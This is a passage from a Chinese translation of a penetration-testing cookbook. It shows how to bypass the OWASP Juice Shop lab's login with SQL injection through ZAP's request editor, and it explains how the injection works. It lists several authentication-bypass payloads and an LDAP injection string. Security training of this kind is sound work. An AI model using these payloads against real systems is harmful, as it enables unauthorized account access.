https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_06.11_B18829.jpg
图 6.11 – 登录
-
输入
admin@juice-sh.op
作为电子邮件,密码可以输入任何值。登录将会失败。 -
一旦登录失败,打开 ZAP。在历史记录标签中,找到登录请求。该请求将是一个
POST
请求,URL 将是/rest/user/login
,状态码将是401
。右键点击请求并选择使用请求编辑器打开/重新发送…,如图 6.12所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_06.12_B18829.jpg
图 6.12 – 使用请求编辑器打开/重新发送…
- 一旦请求编辑器打开,在底部窗口你将看到电子邮件。在电子邮件的最后一个字符后,添加
' OR 1=1 --
来利用 SQL 漏洞并绕过登录机制,如图 6.13所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_06.13_B18829.jpg
图 6.13 – SQL 注入攻击
- 点击编辑器右上角的发送按钮。HTTP 响应将打开,展示一个成功的 HTTP 响应状态码
200 OK
,以及一个创建的JSON Web Token
(JWT)身份验证令牌,如图 6.14所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_06.14_B18829.jpg
图 6.14 – HTTP 200 响应状态
重要提示
SQL 注入漏洞也可以直接通过登录网页来利用,通过输入登录用户名并添加' OR 1 = 1 --
注入代码,如图 6.15所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_06.15_B18829.jpg
图 6.15 – 登录绕过
其工作原理…
SQL 中的布尔值可以是TRUE
或FALSE
。在 SQL 中,布尔逻辑用于将多个条件结合在WHERE
子句中,以过滤查询结果集。
SQL 注入漏洞在页面或参数(例如 Juice Shop 登录页面)连接到后端数据库时发挥作用。因此,对于添加的查询,在语句 ’ OR 1=1 --
中,1=1
条件始终是一个 True 查询语句。当数据库解析时,加上的 OR 语句会让数据库尝试匹配任何该用户名的记录。语句还告知数据库,如果没有匹配,则使查询为真。即使攻击者没有正确的用户名,查询也会返回一个 true 结果,从而成功登录。在后端数据库中,SQL 查询看起来会像这样:
admin' - SELECT * FROM users WHERE useranme = '' OR 1=1 --' AND password = 'anything';
然后,紧接着"--"
注释符,忽略了True
语句后的所有其他查询语句。因此,攻击者永远不需要知道真实的密码。攻击者输入一个单引号来结束后端原始查询语句,原查询语句在寻找用户名输入时已关闭。接着,数据库服务器继续读取剩余的布尔语句。在这个简单的场景下,攻击者将成功绕过身份验证。
' OR 1=1 --
查询是初步测试潜在漏洞时最常用的查询和语句之一。此外,添加' --
在简单的情况下也会生效,因为它同样会产生一个True
语句,并且--
会注释掉查询语句中剩余的需要密码的部分。
还有更多……
要利用 SQL 漏洞,熟悉数据库及如何编写数据库查询语句将非常有帮助。所有 SQL 服务器的语法略有不同。不过,如果你学会了其中一种,你将理解它们的基本结构。常见的 SQL 服务器有 MySQL、Microsoft SQL Server、PostgreSQL 和 Oracle。虽然本示例使用的注入攻击是 SQLite,但其他常见的绕过技术如下:
-
admin' -
-
admin' #
-
admin'/*
-
'**
或 1=1–+** -
'**
或 1=1#** -
'**
或 1=1/*** -
')**
或 ‘1’='1–** -
')**
或 (‘1’='1–-**
除了常见的 SQL 数据库之外,轻量级目录访问协议(LDAP) 也以类似于 SQL 注入的方式进行攻击。LDAP 是一种基于客户端-服务器模型的目录服务,类似于数据库,但包含基于属性的数据。可以采用类似于 SQL 注入的绕过技术来进行 LDAP 注入:
user=*)(uid=*))(|(uid=*
pass=password
另见
有许多工具专门用于发现和利用 SQL 注入漏洞。其中一个著名的工具(也是我个人的最爱)是 SQLMap。SQLMap 允许你指纹识别数据库管理系统(DBMS),获取用户名和数据库表或列,并列举和利用潜在存在的 SQL 漏洞。有关 SQLMap 的更多信息,请访问 Kali Linux 网站 www.kali.org/tools/sqlmap/。
关于 LDAP 注入攻击的更多信息,请访问 owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/06-Testing_for_LDAP_Injection
。